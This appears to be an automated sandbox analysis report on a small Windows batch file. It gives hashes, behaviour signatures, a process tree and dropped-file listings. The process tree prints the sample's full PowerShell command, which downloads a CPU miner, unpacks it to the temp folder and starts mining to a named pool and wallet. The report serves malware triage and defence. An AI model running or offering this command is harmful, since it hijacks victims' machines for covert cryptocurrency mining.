b1f312f139949cac20d0591831ce57c227c6ac77ebd98edfcdafa5c0b02cd2bb

Analysis

max time kernel
143s
max time network
148s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
03/02/2024, 00:16

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General

Target

73u3Ito.bat
Size

499B
MD5

fe74bff27516829a88cfbc6f6e99646f
SHA1

0c15d859211c79910b277d07e729bec7197a60cd
SHA256

b1f312f139949cac20d0591831ce57c227c6ac77ebd98edfcdafa5c0b02cd2bb
SHA512

a94dbaef073e7b62ff9827887f1da6837103316c5656719b176ba1c2a063066f5f159b8ca783208db629121beea33fb81a94b9e6f4f4ec2612ee923639947a98

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	4416	powershell.exe
4	4416	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2228	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2228	cpuminer-sse2.exe
2228	cpuminer-sse2.exe
2228	cpuminer-sse2.exe
2228	cpuminer-sse2.exe
2228	cpuminer-sse2.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4416	powershell.exe
4416	powershell.exe
4416	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4416	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4628 wrote to memory of 4416	4628	cmd.exe	74
PID 4628 wrote to memory of 4416	4628	cmd.exe	74
PID 4416 wrote to memory of 4464	4416	powershell.exe	75
PID 4416 wrote to memory of 4464	4416	powershell.exe	75
PID 4464 wrote to memory of 2228	4464	cmd.exe	77
PID 4464 wrote to memory of 2228	4464	cmd.exe	77

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\73u3Ito.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Invoke-WebRequest -Uri 'https://github.com/JayDDee/cpuminer-opt/releases/download/v23.15/cpuminer-opt-23.15-windows.zip' -OutFile "$env:TEMP\cpuminer.zip"; Expand-Archive -Path "$env:TEMP\cpuminer.zip" -DestinationPath "$env:TEMP\cpuminer"; Set-Location -Path "$env:TEMP\cpuminer"; Start-Process -FilePath 'cmd.exe' -ArgumentList '/k', 'cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2'"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4416
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /k cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4464
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2228

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w0qwi1rc.smo.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

Filesize
2.1MB

MD5
dc05e579bc637512d5fb931ab6af6ee6

SHA1
55ccc8787f0f379135fd0e16dbac97db4e304f22

SHA256
9452fb0034b4e6ec5c33fff5d2d5ceb75e94904bf4d3a1cc4a88b442c705d4ba

SHA512
89a2e00e5306a575dbb8188c2c0b0acb9ace5dbd0edbece5568684ba4e0845c122020c273ae6f20771710ff6003946f4f860f8e2e325002fb5feebda58e44c7c

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

Filesize
2.8MB

MD5
e01f40bb79dc8319fe748f1eec9a08c3

SHA1
d351759a6e1c42ee4bee8fe872f8bdbf34b26e8e

SHA256
7fa4b7bf99a5e7b41c17640f0ec474bf63cf22cb69d26be61d6611752e354ff3

SHA512
ee75d6d6f38a46717dc0b72e1ac949a804d117f27b7a72f973d892ce671551d636e80421f526e85112bf321401ee757ae9378918c23694f83ccc0b4c29d5cfce

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

Filesize
6.2MB

MD5
a2f7333bc282df8bebb04e06fae20627

SHA1
da49034b6f27c43bc5a0b429cb6e8f4847b42b26

SHA256
340a1d9a1c1cd4236cac42ceb3a808d5689acd0010020c3e868b8670508ec181

SHA512
8b8bc61e213741df85cdd9a8b765f572b3527e304f3b9224e40f10fca92be196973ca704bad413613e53df390374cbff3db7fc0a6474ebc30079e036e5f9ef5b

Download Submit
\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

Filesize
4.9MB

MD5
34fd2bfc8688013e5099184d3c6fbf6b

SHA1
fe135468dc181a7dc45b9a9ba13ddb7b69cbc812

SHA256
6e67cf407bb4b2d10b745b7a0d22e74e91aff82447fd1ef6fbb6597e4fee06ee

SHA512
41c541cc429c64e8f1736236a0b03a9009385430014eaa35ab657fd8a878021cb1c63b84f1d01d829e3d8370cb7b597ee2ff2cd995e93bdf5c128eea080da0ea

Download Submit
memory/2228-126-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2228-125-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2228-173-0x00000000505A0000-0x0000000050638000-memory.dmp

Filesize
608KB

Download
memory/2228-172-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2228-170-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2228-158-0x00000000505A0000-0x0000000050638000-memory.dmp

Filesize
608KB

Download
memory/2228-150-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2228-143-0x00000000505A0000-0x0000000050638000-memory.dmp

Filesize
608KB

Download
memory/2228-140-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2228-135-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2228-129-0x0000000001010000-0x00000000028C5000-memory.dmp

Filesize
24.7MB

Download
memory/2228-128-0x00000000505A0000-0x0000000050638000-memory.dmp

Filesize
608KB

Download
memory/2228-127-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4416-112-0x00007FFA7E3B0000-0x00007FFA7ED9C000-memory.dmp

Filesize
9.9MB

Download
memory/4416-28-0x00000225F94B0000-0x00000225F94C0000-memory.dmp

Filesize
64KB

Download
memory/4416-6-0x00000225F9290000-0x00000225F92A0000-memory.dmp

Filesize
64KB

Download
memory/4416-7-0x00000225F94B0000-0x00000225F94C0000-memory.dmp

Filesize
64KB

Download
memory/4416-4-0x00000225F9560000-0x00000225F95F2000-memory.dmp

Filesize
584KB

Download
memory/4416-5-0x00007FFA7E3B0000-0x00007FFA7ED9C000-memory.dmp

Filesize
9.9MB

Download
memory/4416-9-0x00000225F9450000-0x00000225F9472000-memory.dmp

Filesize
136KB

Download
memory/4416-10-0x00000225F9810000-0x00000225F991E000-memory.dmp

Filesize
1.1MB

Download
memory/4416-13-0x00000225F9920000-0x00000225F9996000-memory.dmp

Filesize
472KB

Download
memory/4416-8-0x00000225F94B0000-0x00000225F94C0000-memory.dmp

Filesize
64KB

Download
memory/4416-31-0x00000225F9B70000-0x00000225F9B86000-memory.dmp

Filesize
88KB

Download
memory/4416-69-0x00000225F9480000-0x00000225F948A000-memory.dmp

Filesize
40KB

Download
memory/4416-56-0x00000225F9DA0000-0x00000225F9DB2000-memory.dmp

Filesize
72KB

Download
memory/4416-36-0x00000225F94B0000-0x00000225F94C0000-memory.dmp

Filesize
64KB

Download
memory/4416-35-0x00000225F94B0000-0x00000225F94C0000-memory.dmp

Filesize
64KB

Download
memory/4416-34-0x00000225F94B0000-0x00000225F94C0000-memory.dmp

Filesize
64KB

Download
memory/4416-33-0x00007FFA7E3B0000-0x00007FFA7ED9C000-memory.dmp

Filesize
9.9MB

Download